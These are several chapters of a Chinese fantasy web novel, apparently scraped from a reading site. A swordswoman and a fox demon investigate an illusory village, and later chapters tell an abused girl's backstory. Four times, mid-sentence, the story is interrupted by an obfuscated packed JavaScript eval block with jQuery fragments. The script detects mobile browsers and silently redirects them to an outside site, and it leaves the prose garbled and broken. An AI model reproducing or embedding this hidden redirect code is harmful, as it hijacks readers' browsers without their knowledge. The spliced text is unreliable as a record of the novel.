“狐妖是不会掉毛的,只有普通狐狸会掉毛。”
江凝清忿忿道:“这不公平,凭什么修仙者会掉头发,而修妖者不会掉毛,难道修妖更高人一等。”
她轻轻撸了撸曲堪尘盘在腰上的白色蓬松大尾巴,发现真的没有毛掉落下来。
就在此时,一直在旁边站着的一个老头咳嗽了一声,道:“清小姐,你可算是醒了,都什么时候了啊太阳都要落山了你还要睡个屁的午觉。”
江凝清抬头看向那个老头,他看起来大概五十多岁,脸上和手指都布满了皱纹,骨瘦伶仃,穿着一旧地不成样子的阴阳大褂,双目失明用一黑布蒙住。身前还摆着一个小摊,摊子挂着一副对联。
左联写着“八字六爻,断人生死富贵”,右联写着“手相面相,洞悉祸福吉凶”。最上面那一联写的是“神机妙算张半仙”。
既然叫她“清小姐”,那大概并不知晓她的真名,也不知晓这副身体的真名,只知道她的那个化名“清清”。
“老人家这……”
“清小姐怎么突然这么客气了?莫非睡了一觉脑子出了什么问题?”那个张半仙说道。
江凝清无奈地看着自己现在这副小胳膊小腿的样子,头发仍然枯黄稀少,全身上下没有二两肉,身上穿的仍然是她刚借尸还魂的那身打补丁的旧衣。哪家会有这么命苦的大小姐啊。
突然江凝清注意到自己手臂上的那个红痕非常剧烈地闪动了两下,鲜血几乎要从那处的红痕里面漫出来,红痕已经变成扭动地红色长蛇一般。
江凝清眯了眯眼睛,神情莫测,看向眼前这个张半仙。
荒郊野岭,醒来见到的第一个人,而且还是从事这种与怪力乱神相关职业的人,很难不让人怀疑吧。
更何况他一开口便是叫她“清小姐”,直接拟定了她的身份。
江凝清敛下心神,道:“确实啊半仙,本小姐一觉醒来呢头晕脑胀的,可能是被鬼上身了。你呢,最好是告诉我现在是在哪里,我身份是什么,不然我就吃了你。”
张半仙:……
“睡一觉真的把脑子睡出毛病了啊,这我可不赔钱,要钱没有要命一条。”
张半仙非常地铁骨铮铮,走上前来戳了戳江凝清的脑袋,“这里是傀儡村外,往东走两公里便到了你家傀儡村了,回家看看脑子吧,别整天逗我这个老头子玩。”
江凝清又看了一眼这个张半仙,随后道谢,带着曲堪尘便往东走了两公里,果然看到了那块熟悉的石碑,上面刻着“傀儡村”三个大字。
只是村中的景象和之前她所看到的截然不同,从一片萧条变得充满了人气。
在村门口就有几个穿着红袄绿衣的小朋友玩着追人的游戏,一个卖糖葫芦的胖乎乎大婶就在小朋友旁边站着,等小朋友玩累了一人买一只糖葫芦。
江凝清一进来那群小朋友就喊着叫她“清姐姐”,她拦着一个小朋友笑眯眯道:“你知道姐姐家在哪里吗?猜对了有奖励。”
“我当然知道!”小女孩脆生生地道,语调带着莫名其妙的骄傲,“我给清姐姐带路。”
“真棒呢。”江凝清摸了摸小女孩毛茸茸的头发。
小女孩甩了甩头,抬头道:“姐姐你不要把我妈妈给我梳的头发弄乱,很难扎起来的!”
江凝清连忙道下次不敢,才让小女孩继续带路。
路上江凝清又看了看周边,发现这里的村民一个个安居乐业,小贩的叫喊声此起彼伏,如果不说这是“傀儡村”,那这都能当做一个镇了。
江凝清小声对跟在身后半步的曲堪尘道:“你有没有发现有什么不对劲?”
“这个地方本就不对劲,有不正常的地方才正常。”曲堪尘淡淡道。
“你说的对,但是你有没有发现这里的一切都太过于正常了吗?好有活人气息啊。”江凝清道。
她突然凑近了曲堪尘,几乎贴在他的狐狸耳朵边道:“而且我一直不明白……你这种狐妖,究竟是用哪一对耳朵听声音的啊。”
本来紧张的氛围被江凝清一句话给戳散了,曲堪尘真不知道她为什么会转移话题转移地那么快,他的脸泛起粉色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844307|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,几乎有些恼怒地看了她一眼。
“告诉我嘛。”江凝清笑嘻嘻道。
“才不会告诉你。”曲堪尘小声道,“说正事吧。”
江凝清抬手放到自己的嘴角边,把微微挑起的嘴角拉直,严肃道:“你不觉得村子太过于桃花源了吗?按理来说这应该是鬼怪的源头啊。”
“或许那个鬼怪喜欢这种。”
“有自己的思考和独特的偏好,那这鬼怪最起码是厉级别的了。”
“而且能不动声色隐藏在我们之中,大概不只是厉,可能到煞了。”
江凝清怂了怂肩,道:“反正不是鬼王。”
鬼怪分为阴恶厉煞四个等级,刚开始江凝清解决的瘦长黑影就是阴级别的小怪。大部分鬼怪都是阴级别的,没有什么神志,战斗力也弱,江凝清基本一剑一个。
恶级别的鬼怪基本就有了神志能模仿人的行为举止了,除了极少数情况,基本就是级别越高实力越强脑子也就越聪明。
这个阴恶厉煞的等级是按照鬼怪实力分的,如同修仙者有练气筑基结丹元婴化神一样。
而江凝清死前封印的那个鬼王,那算是唯一一个超越了煞级别的存在,近乎是半神般的存在。所以就算是江凝清,也只是封印,而不是杀死那个鬼王。
鬼怪本是混沌杂乱之物,遇执念妄念而生,大多天生偏执,破坏欲强,好杀人。那个被江凝清封印的鬼王更是手上不知沾了多少人命。
江凝清实在是不懂为什么此处的鬼怪如此。
搞不懂便搞不懂,她很快就跟着那个带路的小女孩找到了自己的家……府邸,谁能想象到一个村子里竟然有五进五出的府邸。
她感觉自己一会和那个鬼怪动起手来的时候都会手下留情,那个鬼怪给自己安排的身份可真棒,真的是大户人家的小姐啊。
她随手甩了一下头发,正要神气十足地迈进这个朱红色的大门,却被小女孩拉住了袖子。
“奖励呢?”小女孩说道。
“啊差点忘记了,”江凝清转头对曲堪尘道,“变成狐狸让小朋友摸摸。”
曲堪尘抿唇不语,只是看她,好像她像什么逼良为娼的大坏蛋。
江凝清自觉理亏,可她手里又没有什么东西,于是只能蹲下身子,放缓声音道:“姐姐给你用草编一个兔子好不好?”
小女孩双手抱臂认真思考了一下,道:“可以。”
江凝清三下五除二就编好了一个小兔子,送到了小女孩手里,小女孩又蹦又跳地跑了。
江凝清站起身来,便看到曲堪尘神情晦涩地看着那个小女孩的背影,洁白如遇的手指死死扣着掌心,几乎要伸出狐狸爪子了。
“看什么呢?”江凝清笑道,“多大了还喜欢小孩子的东西。”
“没有,我只是……刚刚有些走神……”
他这句话还没有说完,便看到江凝清手里出现了一个草编织的小狐狸,伸到了他的面前。
“怎么样?像不像你。”
曲堪尘愣了下神,好像又回到了他们两个还未决裂的日子。
之前江凝清也送过他一只草编小狐狸的,后来那个小狐狸被他自己拆掉了。他后悔了很多次,尝试着复原它,一遍又一遍地编好它,可是总是都不如它之前的样子。
现在她又给了他一只一模一样的小狐狸。
他道:“是不是随便一个狐妖你就给一只小狐狸。”
他说完这句话后觉得自己语气有点太差了,像一个怨夫一般,刚想要收回这句话便听见江凝清漫不经心道:“怎么会呢?我只给过你一只小狐狸。”
“骗子。”曲堪尘在心里默默想到。
5. 傀儡村(5)
江凝清一进大门便看到了一个熟悉的人。
少男衣着华丽,脖子上带着一红玉璎珞,又坠着一纯金的平安符,眼神澄澈,蹲在池塘边抓一把鱼食喂鱼。
正是钱孟楠。
江凝清往池塘方向走去,快走到钱孟楠跟前了他才注意到江凝清,还被吓了一大跳,不过很快他就笑嘻嘻地道:“姐姐你终于回来了啊。”
“姐姐?”江凝清倒是不知道钱孟楠何时和她关系这么亲密了,直接叫她姐姐。
钱孟楠眨了眨愚蠢又清澈的双眼,道:“对啊,你不就是我姐姐吗?同父同母的姐姐啊。”
“好吧,那我问你,我叫什么名字?”江凝清道。
钱孟楠张了张嘴,然后又闭上,大脑的褶皱仿佛被抚平了一般,最终开口道:“你叫清清啊。”
“那你叫什么?”
“钱孟楠。”
江凝清双手摊开,一副无可奈何的样子,道:“看吧,你姓钱,我姓……清,我们不可能是一家人的。”
“不不不,我是跟着母亲姓的钱,你跟着父亲姓清,没错,一定是这个样子的。”钱孟楠摇了摇头道,完全把自己说服了,又开始喂起了鱼食。
江凝清扶额叹了口气。
就这样吧,反正叫醒他也没什么用,顶多是多了一个吉祥物跟着。
而且身边既然已经有小狐狸这个吉祥物了,没必要再找一个。
还是小狐狸更可爱一些。
很明显进入这个秘境……或者说幻境的人大部分都被洗脑了,被灌输了一些乱七八糟的记忆。
而江凝清与曲堪尘没事大概是因为他们两个修为都够高,这个鬼怪的能力不足以洗脑他们。
废话,若是连他们两个都能被洗脑,那这个鬼怪干脆别弄这个村了,去直接统治世界都是有可能的。
江凝清继续往自己的府邸内部走去,越走越发现这个府邸竟然连一个下人都没有,就是一个空壳子,顶多有些金银。
难不成这真的是个桃花源,没有一个人被当做奴仆?
还是说其实只是懒得做细节。
江凝清越往里走越心惊,进了她的卧室后便突兀地停下了脚步。
曲堪尘的头猛地撞击到了江凝清的后背。
江凝清看曲堪尘皱着眉头,以为他也发现了此处的不对劲之处,于是注视着他点了点头,道:“果然有牵扯。”
“什么?”曲堪尘皱眉头只是因为他撞到头而已,虽然不是很疼,但是他的额头都红了一片。
他刚刚什么都没有注意到,只是觉得江凝清附身的身体太过于清瘦了,而且头发泛黄一副营养不良的样子,虽然江凝清只是暂时附身上去,但估计也不好受。
他心里泛起些许难受来,心似乎被揪了起来,所以才没有看路。
江凝清指着房间里的花瓶道:“你不觉得眼熟吗?”
曲堪尘摇了摇头。
“从下到上由青色渐变为白色,釉面光滑柔和,纹有流云荷叶游鱼图案,而且上面……就在此处。”江凝清把那个花瓶托了起来,手指向它瓶口的一个小角落。
上面印着一个四四方方的印章,章上面只有一个字。
“歌”
“歌……慕容歌吗?”
“而且不仅是这个花瓶,这里的各处布局都像极了慕容家的府宅,加上那封信,基本可以确定这件事情与慕容歌有所牵扯。”
江凝清把瓷器放下,神情有些严肃,叹了口气道:“如果是他参与其中,那我真不想与他对上。”
并不是因为慕容歌的实力怎么样,说实话那位前任玄同山掌门仙道盟主实力并不怎么样,江凝清还活着的时候十招之内便能把他打趴下。
虽然不知道他现在水平如何,但是他天资足以说的上是平庸,就算他比江凝清多修炼三百年也不会超过江凝清的。
江凝清感到难办的是……慕容歌算是对她有恩。
江凝清叹了口气,而后伸开双手扑蹬一声倒在床榻上,懒洋洋道:“算了不管了,一想到这些事就头疼,累了一天了我要先躺一会。”
“头很疼吗?我给你揉揉……”曲堪尘下意识道,他一抬头便对上了江凝清似笑非笑的表情,一时语塞。
“没什么大事,”江凝清伸了个懒腰,“只是这副身体本身就带的毛病罢了,好可怜啊营养不良还一身的病。”
而且还年纪轻轻便命丧黄泉。
罢了,她用了人家的身体总要给人家报仇吧。
还是先去调查一番毕竟好,依照她对慕容歌的了解,那人大概不会和鬼怪狼狈为奸,他向来霁月光风,正的发邪……
不对。
江凝清猛然起身:“你说他们这种正的发邪的人会不会比较极端,比如说……”
曲堪尘接了下去:“比如说建立一个人人安居乐业的桃花源?”
江凝清从床上跳下来,拍了拍曲堪尘的肩膀,笑眯眯道:“果然啊,知我者尘尘也。”
不知道是有意还是无意,江凝清每次说“尘尘”的时候声音都会放缓,她这个人本来就说话爱带着笑意,“尘尘”这两个字更被她说出一种缱绻多情来。
曲堪尘喉咙微颤,虽表面上不动声色但心脏却漏跳了一拍。
他总有一种什么都被看透的错觉。
曲堪尘颇有些恼羞成怒,偏偏他寻不得什么发作的理由。
还不如现在变成小狐狸一头撞死在她腿上,免得让她这样逗弄。
江凝清当然不会知道曲堪尘心里的这些弯弯绕绕,又行动力十足地带着曲堪尘看了一圈这个府宅,发现确实是没有一个仆人。
绕一圈也只能看到钱孟楠还在池塘边喂鱼,钱孟楠看到江凝清后还欢欢喜喜地打了个招呼。
江凝清感叹道:“其实有时候觉得成为这样的人也挺好的,脑子里不用装什么东西,整天都很高兴。”
曲堪尘瞥了一眼呵呵傻笑的钱孟楠,转头对江凝清道:“修为低被控制是很正常的事情,你不要总是骂人家。”
江凝清怂了怂肩。
他们两个又去街上逛了一遭,突然听到了熟悉的声音。
“卖鱼,卖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844308|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鱼。”
明明是少女的音色,但声音过于平淡显得有些微死。
江凝清看向远处卖鱼的桑榆,她仍然是面无表情,没有一点生意人该有的热情洋溢的样子。
就算是这样绝对不及格的吆喝声也吸引了四五个人来买鱼,说明这个地方实在是不寻常,不能用常人的认知去理解。
江凝清也不清楚桑榆又没有神志,毕竟她身上是有些修为的,说不定能抵御住这个幻境的力量。
而且还可能通过她的状态来判断这个秘境的主人究竟是什么实力。
江凝清这么想着,正要往桑榆面前走去,却被曲堪尘挡在了身后。
“怎么了吗?”江凝清双手抱臂,歪头问道。
“她在卖鱼,那里鱼腥味会重一些,我去问问就好。”
江凝清莞尔一笑:“好细心啊,不过我哪有这么娇气?”
她用手拨开曲堪尘……没用力,一下子没拨开。
她真没想到曲堪尘会有这么固执,不就是鱼腥味吗。她早些年可能对这个敏感,后来大风大浪经历多了自然也就对此迟钝了。
毕竟威风凛凛的剑尊闻到鱼腥味就想吐实在是让人笑话。
若是战到关键时刻,敌人眼看不敌便直接从裤子里面拿出一条鱼,大声道:“嘿嘿江凝清,这可是腥味特别重的鱼,你的死期到了桀桀桀……”
那画面想想就很搞笑。
可曲堪尘极其固执道:“你若是不放心站在这里看着我就好,我去试探她。”
他亲眼看到过江凝清因为闻到鱼腥味吐的昏天黑地,整个人虚弱地不成样子,回寝室都是他背着她走的。
那时候她还在用虚弱的声音颤着气调笑他,说他眼泪实在是太多了,像个泪人,简直就是湘妃转世。
他知道她那时很难受的,明明吐得肠子都快出来了,却一副无所谓的样子。
后来山上的小食堂就再也没有做过鱼了,做了那顿饭的师姐还拎着一堆水果跑到江凝清的寝室里来,捏着江凝清的脸说下次再有这种情况就直接给师姐说啊,吓死师姐了。
于是曲堪尘坚决不同意她去。
江凝清挑眉,似笑非笑用目光扫过曲堪尘颤抖着的睫毛,又看向他紧抿着的嘴唇,对着他的眼睛开口道:“那你怎么知道我不吃鱼的?”
曲堪尘瞬时哑口无言,四肢僵硬如坠冰窟。
按理来说他不应该知道这些的,他现在的身份不过是一个误闯进村子的普通狐妖,应该连江凝清的名字都不知道的。
江凝清这次很顺利地把他推开了,走到了桑榆面前,托腮道:“小桑榆,记得我吗?”
桑榆点了点头,如释重负地叹了口气,道:“我真的不想卖鱼,好累。”
江凝清哈哈大笑,道:“你不是觉得很饿吗?可以顺便吃点烤鱼或者炖鱼汤。”
桑榆白净小脸皱了起来,道:“不要。”
她把收钱的小篮子放到桌子上,让村民们靠自觉给钱,自己离开了鱼摊,眼睛看着江凝清问道:“你们有什么计划吗?需要我帮什么忙?”
6. 傀儡村(6)
“有倒是有,村外往西走两公里,有一瘦老头竖着招牌,上面写着神机妙算张半仙,你去找他套套话,看能得出什么信息。”
江凝清第一眼便怀疑那个张半仙,逛了一圈便更加怀疑。
不是怀疑他是凶手,而是怀疑他有什么特殊的身份,或者说能在他身上得到什么线索。
村里的人一个个都红光满面,只有他瘦骨伶仃几日没有吃上饭一样,衣服也是破旧打着补丁的,比江凝清这副身体的主人看起来还要凄惨两倍不止。
那便说明有两种可能,一种是他也是村民,不过其他人都幸福安稳所以在幻境也看起来不错,而他在进入秘境前生活贫困潦倒,所以在幻境里也凄惨无比。
这种可能微乎其微,因为江凝清太了解底层人生活艰辛不易。
一个村子就算是有仙人坐镇也不可能每个人都红光满面,更何况傀儡村没有仙人坐镇,有的只是一个连练气都算不上的傀儡戏师。
还有一种可能是他是新来者,先进入幻境的那些人已经被幻境养肥了,而他还未被供养好。
而且江凝清一进入幻境她手上的红痕就疯狂指向张半仙,包括现在那道红痕还在牵引着她去找张半仙。
江凝清手上的红痕是这个身体的主人将散未散的魂魄,让她如此激动,估计是与她的死亡有些关系。
江凝清思考了一会,又改口道:“不行,你自己去太危险,这个秘境表面平静实则古怪。这样吧,我们两个跟在你身后藏起来,你去问问,若是有什么突发情况我们也能帮忙。”
桑榆道:“一定要我问吗?”
“我们两个刚刚在他面前露过面,恐怕会引起他的注意,打草惊蛇。”江凝清解释道。
桑榆点了点头,便要往村外走去,一点都不心疼身后的鱼。
不过那些村民守规矩地简直是一点都不切合实际,刚刚江凝清和桑榆说话的那段时间里竟然一个占小便宜的都没有。
非常有礼貌地自己挑鱼称鱼,把钱一分不少地放到桑榆拿到桌子上的小盒子里面,甚至有的多给了还不给自己找零的。
桑榆看到了江凝清疑惑的眼神,解释道:“他们的钱都是凭空有的,这些鱼也是凭空产生的。”
她叹了口气,语气中终于带了些情绪,不过是颇为幽怨的情绪:“我打算卖完鱼就收摊的,但是卖完一轮就会产生新一轮鱼。”
怪不得这里的人看起来那么富足,而且有礼貌,仓廪实而知礼节是这样的。
钱对他们来说已经不是什么稀缺东西了,只是个交易的流程罢了。
江凝清笑了笑道:“如果这里不是秘境,里面的人不是被迫进入的,那真的很好了。”
难道这个秘境的目的真的是为了让人人都安居乐业感到幸福?
如果真的是这样的话,或许慕容歌真的参与其中呢。
不过现在没有什么明确的线索指向他,所有的信息都是零星碎散的,连一条完整的线都凑不出来。
当务之急是找到更多的线索,拼凑出真相和破局的关键。
“走吧,去村南边探探那个张半仙的风口。”江凝清道,回头看了看还僵硬在原地的曲堪尘。
她有些无奈想笑,又回首对桑榆道:“你先走就行,我们两个随后跟上,很快。”
桑榆点了点头,非常乖巧听话。
见桑榆走远,江凝清开口道:“小狐狸生气了?怎么一直不说话啊,闹什么脾气了?”
曲堪尘抬眸,长而纤细的睫毛微微颤抖,他声音有些哑:“你是不是……知道我的身份?”
“什么身份啊,我不知道哎,你不是一个普普通通的小狐狸吗?”江凝清的笑容未变,眼中仍然非常真诚。
这副身体的主人其实就是一个长得略微清秀的小女孩,看样子应该性情内敛。但是江凝清每次笑着看人却总能透露出与这个皮相不相符的缱绻风流来。
曲堪尘心里默默想,她这样子太招人恨了,太让人讨厌了。
“江……”
“好了。”江凝清打断他的话,往前一步跨越了男女之间正常的礼貌界限,逼得曲堪尘有些后退的趋势。
可他还没来得及后退就被江凝清抓住了手,她轻笑了一声,温热的呼吸打在他的脖颈上,让他那块皮肤起了一层细密的小疙瘩。
“你现在身上也有伤,何必要闹到那样难堪的境地呢?”江凝清缓缓说道,“先合作破局不好吗,等出去后再说恩恩怨怨的事情。”
她往后退了一步伸了个懒腰,道:“好了,消气了吗?消气了就走吧。”
曲堪尘垂下了眸子,头上的雪白的绒毛耳朵也耷拉了下来。
他想,她根本什么都不懂。
她根本就不懂他被她挖了仙骨时他的恨意有多么的刻骨铭心,被她抛弃的那三百年又是怎样在绝望中近乎疯癫地去寻求那一丝复活她的可能,也不知道他得知她重现的消息的那一刻心情有多么复杂。
她还是那样对什么都轻飘飘的,像是没有心一样。
就算是她只把他当做是敌人,那认出他身份的时候竟然连防备都懒得防备,就这么把他带到身边。
一点都不在乎他,仿佛他真的是个无足轻重的小狐狸精。
她开始往村外走去,虽然看起来仍然是懒懒散散的,但是走得速度并不慢。
曲堪尘快走几步跟在了她的身后,他一直抿着唇,嘴唇都被他咬得发白。
他突然开口道:“江凝清,我恨死你了,我会杀了你,我会亲手杀了你的。”
江凝清连停顿一下都没有,也没有回头,语调懒散道:“好啊,我等你杀了我。”
“真被你杀了,我才算高兴呢。”
曲堪尘心里更加难受了,他只觉得自己像是被按到水里一样,想要挣扎也没有任何借力的地方,只能无力地窒息沉沦。
“别咬嘴唇了,都快咬出血了。”江凝清分明没有回头看他,却非常精准地制止住了他接下来的行为。
曲堪尘突然又感觉自己抓住了一根浮木一样,终于能喘上一口气。
他们并没有耽误很长时间,很快就赶上了桑榆。
桑榆什么都没有问他们,也不好奇他们单独留下来说了什么话,只是对他们点了点头。
他们没走两步路,就再一次看到了张半仙。
“是这个老头?”
江凝清点了点头,带着曲堪尘藏好,于是桑榆大大方方走了过去,歪头问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844309|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“你是张半仙吗?”
张半仙抬起一只眼皮道:“瞎吗?看不到我这上联写的就是神机妙算张半仙啊。”
他语气算不上好,甚至可以说的上是有些冲,明明刚刚和江凝清说话的时候还算得上态度不错的。
真的是翻脸如翻书。
好在桑榆并不生气,她似乎在某些方面有些迟钝,完全没有被冒犯到的感觉,继续道:“你为什么这么瘦,穿的也破。”
江凝清:……
棋逢对手,旗鼓相当。
张半仙把手里的一本《专业行骗五十年》往桌子上一摔,道:“当然是因为没钱,穷死我了,还要拉扯半路捡的便宜闺女。”
桑榆:“哇塞,专业行骗五十年。”
张半仙:……
桑榆继续道:“你闺女呢?怎么不在身边。”
“谁知道她死哪里去了。”
桑榆:“哦哦,那你知不知道这个幻境的幕后凶手或者别的线索。”
江凝清:……
曲堪尘:……
张半仙连忙起身捂住了桑榆的嘴,但是话已经说出去了,捂住嘴也只是一个心里作用。
周围迅速泛起了一阵纯白浓雾,劈天盖日,五米之内不用灵力几乎看不清楚人影。
就在此时一道黑影以迅雷不及掩耳之势往江凝清的面门袭来!
电光火石之间江凝清已经反手折了一根树枝,不加任何拖泥带水的动作直接往黑影处挡去。
黑影没有任何阻力地被划破,散在雾中。
江凝清放开神识去找其他人的位置,发现桑榆与张半仙还是有自保的能力的,他们那边黑影攻击力弱一些,不必有太多担忧。
而曲堪尘……他的剑还未来得及收走,仿佛刚刚也在试图杀掉袭击江凝清的那个黑影,又或许是想趁机杀她?
江凝清想了想他们之间的仇恨和他刚刚说的要亲手杀了她的言论,觉得更偏向于后者。
江凝清道:“注意些,别光盯着我,若是你在这里受伤被我反杀了怎么办。”
曲堪尘没有回复江凝清的话,江凝清也没再注意他。
浓雾中的黑影越来越多,而且也越来越强,仿佛不知疲惫一般。
张半仙已经快撑不住了,他本来就没什么修为,行走江湖靠的更多的是半吊子仙术和坑蒙拐骗,再加上他一把老骨头,再拖上一小段时间他就完蛋。
就在此时,江凝清叹了口气,道:“荡秋波。”
霎时间,时间如同静止一般,一道金色强光穿透了白雾,之后便如劲风一般将整片白雾席卷。
不过一眨眼的时间,刚刚还伸手不见五指的白雾便消失地无影无踪,里面的黑影更是死不见尸。
一阵微风拂过,吹过江凝清半点未乱的衣角,仿佛刚才的危机不存在一样。
只有刚刚被江凝清随手折断的树枝承受不住江凝清的灵力,碎的可以说是灰飞烟灭,成为了最大的受害者。
“可怜的树枝。”江凝清忍着哀悼。
而张半仙终于注意到了江凝清这边的状况,颇为陌生地看着她。
他嘴唇蠕动,半晌才对江凝清道:“你不是她……二丫她去哪里了?她去哪里了?”
7. 傀儡村(7)
张二丫原来不叫张二丫的,她叫孙夭夭。
她很小很小的时候挺喜欢这个名字的,“夭夭”读起来很好听。
她劈完柴洗完衣服,趁着放牛的功夫去偷听夫子讲课,夫子读了一句“桃之夭夭灼灼其华”,她更喜欢自己的名字了。
她想她是春天出生的,自己出生的时候院子里的那个桃花肯定开得特别漂亮,而爹娘应该就是这样给自己取的名字吧。
孙夭夭一蹦一跳地跑回了家,抱着娘亲的腰道:“娘,我是不是桃之夭夭灼灼其华?”
正在做饭的娘一把把她推开,她被推倒在柴火堆上,本来就破烂的衣服一下子就被戳出了一个拇指大的洞。但是她并不生气,这种事情对她来说是小打小闹。
孙夭夭扬着笑脸,丝毫不在意脸上的灰尘:“娘,我名字是不是因为这个取的呀?”
娘不耐烦道:“去问你爹,烦死了一天天的。”
孙夭夭跳起来扑棱了一下自己屁股,轻车熟路地去了城镇上的赌坊。
她进赌坊的时候还是有些害怕的,因为爹只要输钱肯定会打她。
她站在赌坊的门口,双手合十低头祈祷了一下,念着“王母娘娘太上老君如来佛祖观音菩萨保佑保佑我。”完全不顾及他们几个神都不是一个体系的。
她祈祷完后便又轻车熟路地找到了爹常在的位置,双手托脸贴在桌子上,等爹打完一局后才道:“爹,我的名字是怎么来的呀?”
她无比迫切期待地听到那句“桃之夭夭”,来证明爹娘是爱她的。
这是她做了八年的春秋大梦。
“早日夭折喽。”爹毫不在意地道。
孙夭夭眨了眨眼睛,以为自己听错了。
她是知道夭折的含义的,之前二婶家的孩子就夭折了,二婶哭了好久,把那个小妹妹埋在了土里。
她不想要被埋在土里。
她继续问道:“是桃之夭夭的意思吗?”
爹没理她,继续赌。
连续赌了好几局爹的脸色越来越差,孙夭夭有些想逃。
她还没来得及离开半步就感到一阵天旋地转,她反应过来时就被扔在了地上,头狠狠撞在桌脚。
“真晦气,你怎么命这么贱呢不早点死?这个名字都克不死你!非要在老子赌的时候凑上来是吧,要不然你来了老子早就赢回本了!”
爹脸上泛起狰狞的红色,孙夭夭本能捂着脑袋缩成一团降低存在感,却还是被拎起来又狠狠地摔在地上。
她本来就瘦弱,八岁的孩子长得和五岁的差不多,一个成年男子拎她像拎小鸡仔一样。
她被摔了好几下,脑袋嗡嗡作响。
真的是夭折的夭啊……
她哭了出来,停止了自己一直以来的自欺欺人,原来爹娘其实一点点都不爱她。
转而爹又满脸堆笑对着赌桌上的另外几个人道:“麻烦宽限一下,过几日就过几日,我马上就能拿出钱来,真的!”
他恨不得对天发誓,但还是被拒绝了,一人道:“老孙啊你拿什么还钱啊?你欠的可不是小数目。”
爹连忙又讨好说好话,便真的又拖了一天。
“明天哈,最晚明天,把欠的钱全给我还上,不管你用什么办法。”对方放下了狠话,爹连忙道谢,几乎要给那人跪下。
孙夭夭越来越感到不安,她从地上爬起来,想要离远一些,但她又被抓住了后颈,被拖了出去。
“爹!爹你要干什么,爹!”
“还好你长得模样不错,都十岁了吧,我前几天就看好了人家,让你进去吃香的喝辣的。”
她当然没有十岁,她也不信爹说的吃香的喝辣的,爹只想把她卖个好价钱。
她看着爹把他拎到了青楼门前,又堆着笑和老鸨说她多么乖巧听话,多么聪明伶俐。
孙夭夭之前从来都没有听过爹这样夸她。
“哎呦这小妮子哪里有十岁啊,看起来五岁差不多,奴家这里可不是做慈善的,不养小屁孩。而且这瘦的皮包骨头,说不定哪天就死了,这个价钱太高了,你去找别处吧。”
他们热火朝天地谈论价格,孙夭夭趁他们不注意一口咬到爹的手臂上,她很用力,几乎把爹手臂上的肉给咬下来了。
她这还是第一次吃到肉。
爹疼得松开了手,她便撒腿就跑,几乎用尽了全部的力气,跑回了家,躲在娘亲身后。
她哭着告诉娘亲爹要把她卖到青楼。
娘什么都没说,等爹回来的时候她也一点阻拦都没有,依旧冷眼旁观者孙夭夭被爹扇了好几个巴掌。
孙夭夭不再哭了,她用出吃奶的力气抵抗,她再一次趁爹不注意咬了爹一口,死死咬住。
她的牙上沾满了血。
男人痛得卸了力气,孙夭夭跑向厨房拿起菜刀。
她没想做什么的,她只是想吓唬人而已,只是为了自保。
但是被激怒的男人不管三七二一便跑来抢刀,刀直直扎向男人的胸膛。
他死了,在孙夭夭心里象征着权威和绝对力量的男人就那么轻飘飘地死了。
孙夭夭被吓到了,她会被抓起来的,会被关在大牢里面,会死的。
这个时候娘来了,娘什么都没说,只是静静地看向她。
僵持了很久,娘说:“逃吧。”
她摸着泪跑了,跑了很远很远,不知道到了哪里。
她一个小孩,瘦不拉几的根本就没有任何生存能力,于是只能靠偷别人东西维持生活。
她偷到了张半仙身上,张半仙向来不是什么好脾气,他把孙夭夭抓住了,狠狠教训了一顿。
他气的吹胡子瞪眼,要把孙夭夭送到官府的。但是他发现自己只被偷了两个铜板。
他可耻地心软了,把这个小丫头带到了身边。
他发现这个小丫头人特别机灵,特别会帮他坑蒙拐骗。
他对这个小丫头感情逐渐变深了,有一天他们刚干完一单生意,在苍蝇馆子一人买了一大碗面。他看小丫头吃地腮帮子鼓鼓地,越看心里越喜欢。
他该有这样一个闺女的。他年轻时候有过老婆,但是老婆生孩子时候死了,孩子也死了。
之后他就离开了家,当起了江湖骗子。
这就是老天给他的一个闺女。
他装
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844310|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
